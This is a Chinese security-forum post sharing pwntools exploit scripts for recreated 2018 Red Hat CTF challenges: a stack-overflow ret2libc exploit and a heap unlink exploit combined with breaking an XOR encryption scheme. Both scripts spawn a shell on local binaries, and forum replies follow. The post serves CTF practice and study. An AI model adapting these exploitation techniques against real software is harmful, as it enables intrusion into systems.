吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3950|回复: 6
收起左侧

[CTF] 2018广东红帽杯的一些pwn的复现

  [复制链接]
iopr 发表于 2019-6-14 09:31
pwn1 game_server 一个简单的栈溢出#game_server exp
# coding:UTF-8
from pwn import *

context()

io=process('./gameserver')
gameserver=ELF('./gameserver')
libc=ELF('./libc-2.23.so')
buf=0xBF9EA437
ret=0xBF9EA54C

io.recv()
io.sendline('a'*254)
io.recv()
io.sendline('a'*254)
io.recv()
io.sendline("Y")
io.sendline((ret-buf)*'a'+p32(gameserver.plt['puts'])+p32(0x080484D0)+p32(gameserver.got['puts']))
io.recvuntil('introduce : ')
io.recvuntil('\n\n')
libc_base=u32(io.recv(4))-libc.symbols['puts']
print "libc_base -> "+hex(libc_base)
print "/bin/sh -> " + hex(libc_base+libc.search("/bin/sh").next())
print "system -> " + hex(libc_base+libc.symbols['system'])

io.recv()
io.sendline('a'*254)
io.recv()
io.sendline('a'*254)
io.recv()
io.sendline("Y")
io.sendline((ret-buf)*'a'+p32(libc_base+libc.symbols['system'])+p32(0x080484D0)+p32(libc_base+libc.search("/bin/sh").next()))
io.interactive()


pwn2 -> shellcode_manager
主要难点是在加密,虽然可以计算出来.然是io有点奇怪,这段exp是本地跑通了的.但是要试多次才可以.
# coding:UTF-8
from pwn import *
# 这个题目的io可以说是非常的奇怪了,不难,就是他妈的可能需要爆破一下
io=process('./pwn3')
elf=ELF("./pwn3")
libc=ELF('./libc-2.23.so')

io.recv(4) # 四个无用字节
miwen=io.recv(19) # No passcode No fun\n 异或加密后的数据
yuanwen='No passcode No fun\n'
key=''
password=''
re=[117,105,48,110,117,104,67,49][::-1]
for i in range(19):
    key=key+chr(ord(miwen[i])^ord(yuanwen[i]))
# 这里需要将所有的输入都跟key进行异或
io.recv(timeout=0.1) # 清空程序的所有输出
# 105.,  48., 110., 117., 104.,  67.,  49., 117
io.send('8')
for i in range(8):
    password=password+chr(re[i]^ord(key[i]))
io.send(password)
io.recv(timeout=0.1)
# pass


# 这里需要先malloc一个256,放入256字节,泄露出它的256 Byte key

# add 256Byte chunk
io.sendline('1')
io.recv()
io.sendline('256')
io.recv()

# fill
io.sendline('3')
io.recv()
io.sendline('0')
io.sendline('256')
io.send('a'*256)

# show
io.recv()
io.sendline('4')
io.recv()
io.sendline('0')
io.recvuntil('Note 0\n')

# 得到key
re2=io.recv(256)
key=''
for i in range(len(re2)):
    key=key+chr(ord(re2[i])^0x61)

# free掉
io.recv(timeout=0.1)
io.sendline('2')
io.recv()
io.sendline('0')
io.recv()

#-------------------------------------------------------------------------------------------------------------------------------------------------
def change(content):
    a=''
    for i in range(len(content)):
        a=a+chr(ord(content[i])^ord(key[i]))
    return a

def add(size):
    io.sendline('1')
    io.recvuntil(change('So you shellcode size?\n'))
    io.sendline(str(size))
    io.recvuntil(change('Create Success\n'))

def delete(id):
    io.sendline('2')
    io.recvuntil(change('So what shellcode what to delete?\n'))
    io.sendline(str(id))
    io.recvuntil(change('delete Success\n'))

def fill(id,size,content):
    io.sendline('3')
    io.recvuntil(change('So witch shellcode what to edit?\n'))
    io.sendline(str(id))
    io.recvuntil(change('Your note: '))
    io.sendline(str(size))
    sleep(0.1)
    io.send(content.ljust(size,'\x00'))
    io.recvuntil(change('Success\n'))

def show(id,size):
    io.sendline('4')
    io.recvuntil(change('So what shellcode to show?\n'))
    io.sendline(str(id))
    io.recvuntil('Note '+str(id)+'\n')
    return io.recv(size)
add(0x48) # 1
add(0x48) # 2
add(0x48) # 3
add(0x48) # 4
add(0x48) # 5
add(0x48) # 6
add(0x48) # 7
add(0x48) # 8
add(0x100)  # 9
fill(1,0x8,change('/bin/sh\x00'))
fill(9,0x100,change(p64(0x100)*31+p64(0x101)))
fill(8,0x48,change(p64(0)+p64(0x41)+p64(0x00000000006021A0-0x18)+p64(0x00000000006021A0-0x10)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x40)))
delete(9)
# 现在index8已经指向0x0000000000602188
fill(8,0x19,change(p64(0x48)+p64(elf.got['puts'])+p64(0x48)))
io.send('4')
io.recvuntil(change('So what shellcode to show?\n'))
io.send('7')
io.recvuntil('Note 7\n')
libc_base=u64((io.recv(6)).ljust(8,'\x00'))-libc.symbols['puts']
print "libc_base -> "+ hex(libc_base)
libc_system=libc_base+libc.symbols['system']
pause()
q=change('\x00'*6+p64(libc_system)[:-2])
for i in q:
    print hex(ord(i)),
b=change(p64(libc_system)[:-2])
fill(7,6,b*2)
io.sendline('4')
io.sendline('1')
io.sendline('1')
io.interactive()

pwn 3 -> starcraft_rpg
主要考点在与sprintf格式化字符串的利用.
这里没有exp.可以参考https://www.secpulse.com/archives/71342.html
有pwn师傅的可以一起讨论一下题目,这里因为是很久之前的复现了,只是简单的把exp放上来而已.

pwn2.zip

2.34 KB, 下载次数: 5, 下载积分: 吾爱币 -1 CB

game_server

shellcode_manager_0cb5a25a8f7fd4d3b5a12b0bb19d8834.zip

753.33 KB, 下载次数: 9, 下载积分: 吾爱币 -1 CB

starcraft_rpg_507f28c1a20762caf02ffc693f6978eb.zip

726.43 KB, 下载次数: 9, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 4吾爱币 +10 热心值 +4 收起 理由
Hmily + 6 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
静叶流云 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
夏雨微凉 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
wuyifan520zhang + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

wuyifan520zhang 发表于 2019-6-14 22:08
居然没有人?好吧抢沙发!楼主加油!
头像被屏蔽
明天会更好8866 发表于 2019-6-15 08:40
 楼主| iopr 发表于 2019-6-15 12:53
em 僵硬了一点,下次复现的时候写个详细的解题流程分享给大家。
静叶流云 发表于 2019-6-15 20:08
欢迎发布有价值的原创作品
fengzai 发表于 2019-6-16 16:26
很强很强
Hmily 发表于 2019-7-17 17:50
内容有些简单,丰富下会好很多。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-16 14:27

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表